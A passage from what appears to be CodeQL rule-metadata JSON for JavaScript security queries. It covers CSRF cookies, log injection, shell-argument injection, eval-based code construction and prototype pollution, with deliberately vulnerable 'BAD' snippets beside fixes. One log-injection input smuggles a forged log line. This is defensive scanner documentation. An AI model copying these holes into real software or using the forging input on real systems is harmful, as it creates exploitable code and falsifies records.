[Cross-site request forgery](https://cwe.mitre.org/data/definitions/352.html)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n"},"properties":{"tags":["security","external/cwe/cwe-918"],"description":"Making a client-to-server request with user-controlled data in the URL allows a request forgery attack\n              against the client.","id":"js/client-side-request-forgery","kind":"path-problem","name":"Client-side request forgery","precision":"medium","problem.severity":"error","security-severity":"5.0"}},{"id":"js/samesite-none-cookie","name":"js/samesite-none-cookie","shortDescription":{"text":"Sensitive cookie without SameSite restrictions"},"fullDescription":{"text":"Sensitive cookies where the SameSite attribute is set to \"None\" can in some cases allow for Cross-Site Request Forgery (CSRF) attacks."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Sensitive cookie without SameSite restrictions\nAuthentication cookies where the SameSite attribute is set to \"None\" can potentially be used to perform Cross-Site Request Forgery (CSRF) attacks if no other CSRF protections are in place.\n\nWith SameSite set to \"None\", a third party website may create an authorized cross-site request that includes the cookie. Such a cross-site request can allow that website to perform actions on behalf of a user.\n\n\n## Recommendation\nSet the `SameSite` attribute to `Strict` on all sensitive cookies.\n\n\n## Example\nThe following example stores an authentication token in a cookie where the `SameSite` attribute is set to `None`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=None`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo prevent the cookie from being included in cross-site requests, set the `SameSite` attribute to `Strict`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=Strict`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* MDN Web Docs: [SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite).\n* OWASP: [SameSite](https://owasp.org/www-community/SameSite).\n* Common Weakness Enumeration: [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html).\n","markdown":"# Sensitive cookie without SameSite restrictions\nAuthentication cookies where the SameSite attribute is set to \"None\" can potentially be used to perform Cross-Site Request Forgery (CSRF) attacks if no other CSRF protections are in place.\n\nWith SameSite set to \"None\", a third party website may create an authorized cross-site request that includes the cookie. Such a cross-site request can allow that website to perform actions on behalf of a user.\n\n\n## Recommendation\nSet the `SameSite` attribute to `Strict` on all sensitive cookies.\n\n\n## Example\nThe following example stores an authentication token in a cookie where the `SameSite` attribute is set to `None`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=None`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo prevent the cookie from being included in cross-site requests, set the `SameSite` attribute to `Strict`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=Strict`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* MDN Web Docs: [SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite).\n* OWASP: [SameSite](https://owasp.org/www-community/SameSite).\n* Common Weakness Enumeration: [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html).\n"},"properties":{"tags":["security","external/cwe/cwe-1275"],"description":"Sensitive cookies where the SameSite attribute is set to \"None\" can\n              in some cases allow for Cross-Site Request Forgery (CSRF) attacks.","id":"js/samesite-none-cookie","kind":"problem","name":"Sensitive cookie without SameSite restrictions","precision":"medium","problem.severity":"warning","security-severity":"5.0"}},{"id":"js/log-injection","name":"js/log-injection","shortDescription":{"text":"Log injection"},"fullDescription":{"text":"Building log entries from user-controlled sources is vulnerable to insertion of forged log entries by a malicious user."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Log injection\nIf unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.\n\nForgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.\n\n\n## Recommendation\nUser input should be suitably sanitized before it is logged.\n\nIf the log entries are in plain text then line breaks should be removed from user input, using `String.prototype.replace` or similar. Care should also be taken that user input is clearly marked in log entries.\n\nFor log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection.\n\n\n## Example\nIn the first example, a username, provided by the user, is logged using \\`console.info\\`. In the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using \\`console.error\\`. If a malicious user provides \\`username=Guest%0a\\[INFO\\]+User:+Admin%0a\\` as a username parameter, the log entry will be splitted in two different lines, where the second line will be \\`\\[INFO\\]+User:+Admin\\`.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is\n})\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\nIn the second example, `String.prototype.replace` is used to ensure no line endings are present in the user input.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    // GOOD: remove newlines from user controlled input before logging\n    let username = q.query.username.replace(/\\n|\\r/g, \"\");\n\n    console.info(`[INFO] User: ${username}`);\n});\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\n\n## References\n* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection).\n* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html).\n","markdown":"# Log injection\nIf unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.\n\nForgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.\n\n\n## Recommendation\nUser input should be suitably sanitized before it is logged.\n\nIf the log entries are in plain text then line breaks should be removed from user input, using `String.prototype.replace` or similar. Care should also be taken that user input is clearly marked in log entries.\n\nFor log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection.\n\n\n## Example\nIn the first example, a username, provided by the user, is logged using \\`console.info\\`. In the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using \\`console.error\\`. If a malicious user provides \\`username=Guest%0a\\[INFO\\]+User:+Admin%0a\\` as a username parameter, the log entry will be splitted in two different lines, where the second line will be \\`\\[INFO\\]+User:+Admin\\`.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is\n})\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\nIn the second example, `String.prototype.replace` is used to ensure no line endings are present in the user input.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    // GOOD: remove newlines from user controlled input before logging\n    let username = q.query.username.replace(/\\n|\\r/g, \"\");\n\n    console.info(`[INFO] User: ${username}`);\n});\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\n\n## References\n* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection).\n* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html).\n"},"properties":{"tags":["security","external/cwe/cwe-117"],"description":"Building log entries from user-controlled sources is vulnerable to\n              insertion of forged log entries by a malicious user.","id":"js/log-injection","kind":"path-problem","name":"Log injection","precision":"medium","problem.severity":"error","security-severity":"6.1"}},{"id":"js/indirect-command-line-injection","name":"js/indirect-command-line-injection","shortDescription":{"text":"Indirect uncontrolled command line"},"fullDescription":{"text":"Forwarding command-line arguments to a child process executed within a shell may indirectly introduce command-line injection vulnerabilities."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Indirect uncontrolled command line\nForwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters.\n\nWhen the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that each forwarded command-line argument is properly escaped before using it.\n\n\n## Example\nThe following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `\"dollar$separated$name\"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execSync(`node ${script} ${args.join(' ')}`); // BAD\n\n```\nIf another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script.\n\nTo guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', [script].concat(args)); // GOOD\n\n```\nIf you want to allow the user to specify other options to `node`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    shellQuote = require(\"shell-quote\");\n\nconst args = process.argv.slice(2);\nlet nodeOpts = '';\nif (args[0] === '--node-opts') {\n    nodeOpts = args[1];\n    args.splice(0, 2);\n}\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', shellQuote.parse(nodeOpts).concat(script).concat(args)); // GOOD\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n","markdown":"# Indirect uncontrolled command line\nForwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters.\n\nWhen the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that each forwarded command-line argument is properly escaped before using it.\n\n\n## Example\nThe following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `\"dollar$separated$name\"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execSync(`node ${script} ${args.join(' ')}`); // BAD\n\n```\nIf another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script.\n\nTo guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', [script].concat(args)); // GOOD\n\n```\nIf you want to allow the user to specify other options to `node`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    shellQuote = require(\"shell-quote\");\n\nconst args = process.argv.slice(2);\nlet nodeOpts = '';\nif (args[0] === '--node-opts') {\n    nodeOpts = args[1];\n    args.splice(0, 2);\n}\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', shellQuote.parse(nodeOpts).concat(script).concat(args)); // GOOD\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-078","external/cwe/cwe-088"],"description":"Forwarding command-line arguments to a child process\n              executed within a shell may indirectly introduce\n              command-line injection vulnerabilities.","id":"js/indirect-command-line-injection","kind":"path-problem","name":"Indirect uncontrolled command line","precision":"medium","problem.severity":"warning","security-severity":"6.3"}},{"id":"js/unsafe-code-construction","name":"js/unsafe-code-construction","shortDescription":{"text":"Unsafe code constructed from library input"},"fullDescription":{"text":"Using externally controlled strings to construct code may allow a malicious user to execute arbitrary code."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unsafe code constructed from library input\nWhen a library function dynamically constructs code in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may incorrectly use inputs containing unsafe code fragments, and thereby leave the client vulnerable to code-injection attacks.\n\n\n## Recommendation\nProperly document library functions that construct code from unsanitized inputs, or avoid constructing code in the first place.\n\n\n## Example\nThe following example shows two methods implemented using \\`eval\\`: a simple deserialization routine and a getter method. If untrusted inputs are used with these methods, then an attacker might be able to execute arbitrary code on the system.\n\n\n```javascript\nexport function unsafeDeserialize(value) {\n  return eval(`(${value})`);\n}\n\nexport function unsafeGetter(obj, path) {\n    return eval(`obj.${path}`);\n}\n\n```\nTo avoid this problem, either properly document that the function is potentially unsafe, or use an alternative solution such as \\`JSON.parse\\` or another library, like in the examples below, that does not allow arbitrary code to be executed.\n\n\n```javascript\nexport function safeDeserialize(value) {\n  return JSON.parse(value);\n}\n\nconst _ = require(\"lodash\");\nexport function safeGetter(object, path) {\n  return _.get(object, path);\n}\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Unsafe code constructed from library input\nWhen a library function dynamically constructs code in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may incorrectly use inputs containing unsafe code fragments, and thereby leave the client vulnerable to code-injection attacks.\n\n\n## Recommendation\nProperly document library functions that construct code from unsanitized inputs, or avoid constructing code in the first place.\n\n\n## Example\nThe following example shows two methods implemented using \\`eval\\`: a simple deserialization routine and a getter method. If untrusted inputs are used with these methods, then an attacker might be able to execute arbitrary code on the system.\n\n\n```javascript\nexport function unsafeDeserialize(value) {\n  return eval(`(${value})`);\n}\n\nexport function unsafeGetter(obj, path) {\n    return eval(`obj.${path}`);\n}\n\n```\nTo avoid this problem, either properly document that the function is potentially unsafe, or use an alternative solution such as \\`JSON.parse\\` or another library, like in the examples below, that does not allow arbitrary code to be executed.\n\n\n```javascript\nexport function safeDeserialize(value) {\n  return JSON.parse(value);\n}\n\nconst _ = require(\"lodash\");\nexport function safeGetter(object, path) {\n  return _.get(object, path);\n}\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["security","external/cwe/cwe-094","external/cwe/cwe-079","external/cwe/cwe-116"],"description":"Using externally controlled strings to construct code may allow a malicious\n              user to execute arbitrary code.","id":"js/unsafe-code-construction","kind":"path-problem","name":"Unsafe code constructed from library input","precision":"medium","problem.severity":"warning","security-severity":"6.1"}},{"id":"js/remote-property-injection","name":"js/remote-property-injection","shortDescription":{"text":"Remote property injection"},"fullDescription":{"text":"Allowing writes to arbitrary properties of an object may lead to denial-of-service attacks."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Remote property injection\nDynamically computing object property names from untrusted input may have multiple undesired consequences. For example, if the property access is used as part of a write, an attacker may overwrite vital properties of objects, such as `__proto__`. This attack is known as *prototype pollution attack* and may serve as a vehicle for denial-of-service attacks. A similar attack vector, is to replace the `toString` property of an object with a primitive. Whenever `toString` is then called on that object, either explicitly or implicitly as part of a type coercion, an exception will be raised.\n\nMoreover, if the name of an HTTP header is user-controlled, an attacker may exploit this to overwrite security-critical headers such as `Access-Control-Allow-Origin` or `Content-Security-Policy`.\n\n\n## Recommendation\nThe most common case in which prototype pollution vulnerabilities arise is when JavaScript objects are used for implementing map data structures. This case should be avoided whenever possible by using the ECMAScript 2015 `Map` instead. When this is not possible, an alternative fix is to prepend untrusted input with a marker character such as `$`, before using it in properties accesses. In this way, the attacker does not have access to built-in properties which do not start with the chosen character.\n\nWhen using user input as part of a header name, a sanitization step should be performed on the input to ensure that the name does not clash with existing header names such as `Content-Security-Policy`.\n\n\n## Example\nIn the example below, the dynamically computed property `prop` is accessed on `myObj` using a user-controlled value.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = req.query.userControlled; // BAD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\nThis is not secure since an attacker may exploit this code to overwrite the property `__proto__` with an empty function. If this happens, the concatenation in the `console.log` argument will fail with a confusing message such as \"Function.prototype.toString is not generic\". If the application does not properly handle this error, this scenario may result in a serious denial-of-service attack. The fix is to prepend the user-controlled string with a marker character such as `$` which will prevent arbitrary property names from being overwritten.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = \"$\" + req.query.userControlled; // GOOD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\n\n## References\n* Prototype pollution attacks: [electron](https://github.com/electron/electron/pull/9287), [lodash](https://hackerone.com/reports/310443), [hoek](https://npmjs.com/advisories/566).\n* Penetration testing report: [ header name injection attack](http://seclists.org/pen-test/2009/Mar/67)\n* npm blog post: [ dangers of square bracket notation](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n","markdown":"# Remote property injection\nDynamically computing object property names from untrusted input may have multiple undesired consequences. For example, if the property access is used as part of a write, an attacker may overwrite vital properties of objects, such as `__proto__`. This attack is known as *prototype pollution attack* and may serve as a vehicle for denial-of-service attacks. A similar attack vector, is to replace the `toString` property of an object with a primitive. Whenever `toString` is then called on that object, either explicitly or implicitly as part of a type coercion, an exception will be raised.\n\nMoreover, if the name of an HTTP header is user-controlled, an attacker may exploit this to overwrite security-critical headers such as `Access-Control-Allow-Origin` or `Content-Security-Policy`.\n\n\n## Recommendation\nThe most common case in which prototype pollution vulnerabilities arise is when JavaScript objects are used for implementing map data structures. This case should be avoided whenever possible by using the ECMAScript 2015 `Map` instead. When this is not possible, an alternative fix is to prepend untrusted input with a marker character such as `$`, before using it in properties accesses. In this way, the attacker does not have access to built-in properties which do not start with the chosen character.\n\nWhen using user input as part of a header name, a sanitization step should be performed on the input to ensure that the name does not clash with existing header names such as `Content-Security-Policy`.\n\n\n## Example\nIn the example below, the dynamically computed property `prop` is accessed on `myObj` using a user-controlled value.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = req.query.userControlled; // BAD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\nThis is not secure since an attacker may exploit this code to overwrite the property `__proto__` with an empty function. If this happens, the concatenation in the `console.log` argument will fail with a confusing message such as \"Function.prototype.toString is not generic\". If the application does not properly handle this error, this scenario may result in a serious denial-of-service attack. The fix is to prepend the user-controlled string with a marker character such as `$` which will prevent arbitrary property names from being overwritten.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = \"$\" + req.query.userControlled; // GOOD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\n\n## References\n* Prototype pollution attacks: [electron](https://github.com/electron/electron/pull/9287), [lodash](https://hackerone.com/reports/310443), [hoek](https://npmjs.com/advisories/566).\n* Penetration testing report: [ header name injection attack](http://seclists.org/pen-test/2009/Mar/67)\n* npm blog post: [ dangers of square bracket notation](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"},"properties":{"tags":["security","external/cwe/cwe-250","external/cwe/cwe-400"],"description":"Allowing writes to arbitrary properties of an object may lead to\n              denial-of-service attacks.","id":"js/remote-property-injection","kind":"path-problem","name":"Remote property injection","precision":"medium","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/empty-password-in-configuration-file","name":"js/empty-password-in-configuration-file","shortDescription":{"text":"Empty password in configuration file"},"fullDescription":{"text":"Failing to set a password reduces the security of your code."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Empty password in configuration file\nThe use of an empty string as a password in a configuration file is not secure.\n\n\n## Recommendation\nChoose a strong password and encrypt it if it has to be stored in a configuration file.\n\n\n## References\n* Common Weakness Enumeration: [CWE-258](https://cwe.mitre.org/data/definitions/258.html).\n* Common Weakness Enumeration: [CWE-862](https://cwe.mitre.org/data/definitions/862.html).\n","markdown":"# Empty password in configuration file\nThe use of an empty string as a password in a configuration file is not secure.\n\n\n## Recommendation\nChoose a strong password and encrypt it if it has to be stored in a configuration file.\n\n\n## References\n* Common Weakness Enumeration: [CWE-258](https://cwe.mitre.org/data/definitions/258.html).\n* Common Weakness Enumeration: [CWE-862](https://cwe.mitre.org/data/definitions/862.html).\n"},"properties":{"tags":["security","external/cwe/cwe-258","external/cwe/cwe-862"],"description":"Failing to set a password reduces the security of your code.","id":"js/empty-password-in-configuration-file","kind":"problem","name":"Empty password in configuration file","precision":"medium","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/summary/lines-of-code","name":"js/summary/lines-of-code","shortDescription":{"text":"Total lines of JavaScript and TypeScript code in the database"},"fullDescription":{"text":"The total number of lines of JavaScript or TypeScript code across all files checked into the repository, except in `node_modules`. This is a useful metric of the size of a database. For all files that were seen during extraction, this query counts the lines of code, excluding whitespace or comments."},"defaultConfiguration":{"enabled":true},"properties":{"tags":["summary","telemetry"],"description":"The total number of lines of JavaScript or TypeScript code across all files checked into the repository, except in `node_modules`. This is a useful metric of the size of a database. For all files that were seen during extraction, this query counts the lines of code, excluding whitespace or comments.","id":"js/summary/lines-of-code","kind":"metric","name":"Total lines of JavaScript and TypeScript code in the database"}},{"id":"js/summary/lines-of-user-code","name":"js/summary/lines-of-user-code","shortDescription":{"text":"Total lines of user written JavaScript and TypeScript code in the database"},"fullDescription":{"text":"The total number of lines of JavaScript and TypeScript code from the source code directory, excluding auto-generated files and files in `node_modules`. This query counts the lines of code, excluding whitespace or comments."},"defaultConfiguration":{"enabled":true},"properties":{"tags":["summary","lines-of-code","debug"],"description":"The total number of lines of JavaScript and TypeScript code from the source code directory,\n   excluding auto-generated files and files in `node_modules`. This query counts the lines of code, excluding\n   whitespace or comments.","id":"js/summary/lines-of-user-code","kind":"metric","name":"Total lines of user written JavaScript and TypeScript code in the database"}},{"id":"js/angular/expression-in-url-attribute","name":"js/angular/expression-in-url-attribute","shortDescription":{"text":"Use of AngularJS markup in URL-valued attribute"},"fullDescription":{"text":"Using AngularJS markup in an HTML attribute that references a URL (such as 'href' or 'src') may cause the browser to send a request with an invalid URL."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Use of AngularJS markup in URL-valued attribute\nUsing AngularJS markup (that is, AngularJS expressions enclosed in double curly braces) in HTML attributes that reference URLs is not recommended: the browser may attempt to fetch the URL before the AngularJS compiler evaluates the markup, resulting in a request for an invalid URL.\n\nWhile this is not a serious problem, it can degrade user experience, since the page may, for example, display broken image links while loading.\n\n\n## Recommendation\nUse the corresponding AngularJS attributes: `ng-src` instead of `src`, `ng-href` instead of `href`, and `ng-srcset` instead of `srcset`.\n\n\n## Example\nThe following example snippet loads an image from a URL that contains the AngularJS expression `{{item._id}}`.\n\n\n```html\n<img src=\"#/resources/pics/{{item._id}}\">\n\n```\nAt page loading time before AngularJS has been fully initialized, the browser may attempt to load the image from the un-evaluated URL `#/resources/pics/{{item._id}}`, which will most likely fail and result in a broken image link. Later on when AngularJS has been loaded, the AngularJS compiler will evaluate the expression `{{item._id}}` and replace it with its value, which will cause the browser to reload the image.\n\nTo avoid the broken link and the reload, use the AngularJS-specific attribute `ng-src`:\n\n\n```html\n<img ng-src=\"#/resources/pics/{{item._id}}\">\n\n```\n\n## References\n* AngularJS API Reference: [ngHref](https://docs.angularjs.org/api/ng/directive/ngHref).\n* AngularJS API Reference: [ngSrc](https://docs.angularjs.org/api/ng/directive/ngSrc).\n* AngularJS API Reference: [ngSrcset](https://docs.angularjs.org/api/ng/directive/ngSrcset).\n","markdown":"# Use of AngularJS markup in URL-valued attribute\nUsing AngularJS markup (that is, AngularJS expressions enclosed in double curly braces) in HTML attributes that reference URLs is not recommended: the browser may attempt to fetch the URL before the AngularJS compiler evaluates the markup, resulting in a request for an invalid URL.\n\nWhile this is not a serious problem, it can degrade user experience, since the page may, for example, display broken image links while loading.\n\n\n## Recommendation\nUse the corresponding AngularJS attributes: `ng-src` instead of `src`, `ng-href` instead of `href`, and `ng-srcset` instead of `srcset`.\n\n\n## Example\nThe following example snippet loads an image from a URL that contains the AngularJS expression `{{item._id}}`.\n\n\n```html\n<img src=\"#/resources/pics/{{item._id}}\">\n\n```\nAt page loading time before AngularJS has been fully initialized, the browser may attempt to load the image from the un-evaluated URL `#/resources/pics/{{item._id}}`, which will most likely fail and result in a broken image link. Later on when AngularJS has been loaded, the AngularJS compiler will evaluate the expression `{{item._id}}` and replace it with its value, which will cause the browser to reload the image.\n\nTo avoid the broken link and the reload, use the AngularJS-specific attribute `ng-src`:\n\n\n```html\n<img ng-src=\"#/resources/pics/{{item._id}}\">\n\n```\n\n## References\n* AngularJS API Reference: [ngHref](https://docs.angularjs.org/api/ng/directive/ngHref).\n* AngularJS API Reference: [ngSrc](https://docs.angularjs.org/api/ng/directive/ngSrc).\n* AngularJS API Reference: [ngSrcset](https://docs.angularjs.org/api/ng/directive/ngSrcset).\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/angularjs"],"description":"Using AngularJS markup in an HTML attribute that references a URL\n              (such as 'href' or 'src') may cause the browser to send a request\n              with an invalid URL.","id":"js/angular/expression-in-url-attribute","kind":"problem","name":"Use of AngularJS markup in URL-valued attribute","precision":"very-high","problem.severity":"warning"}},{"id":"js/angular/dependency-injection-mismatch","name":"js/angular/dependency-injection-mismatch","shortDescription":{"text":"Dependency mismatch"},"fullDescription":{"text":"If the injected dependencies of a function go out of sync with its parameters, the function will become difficult to understand and maintain."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Dependency mismatch\nAngularJS has built-in support for dependency injection: directives can simply list the services they depend on and AngularJS will provide appropriate instances and pass them as arguments at runtime.\n\nDevelopers have to ensure that the list of dependencies matches the parameter list of the directive's factory function: if a dependency is missing, no service instance will be injected, and the corresponding parameter will default to `undefined`. If a dependency and its corresponding parameter have different names, this makes the code hard to follow, and may even indicate a bug.\n\n\n## Recommendation\nEnsure that declared dependencies and parameters match up.\n\n\n## Example\nThe following example directive declares a single dependency on the `$compile` service, but its factory function has two parameters `$compile` and `$http`. Presumably the second parameter was introduced without adding a corresponding dependency, so the service will not be injected correctly.\n\n\n```javascript\nangular.module('myapp')\n       .directive('mydirective', [ '$compile', function($compile, $http) {\n           // ...\n       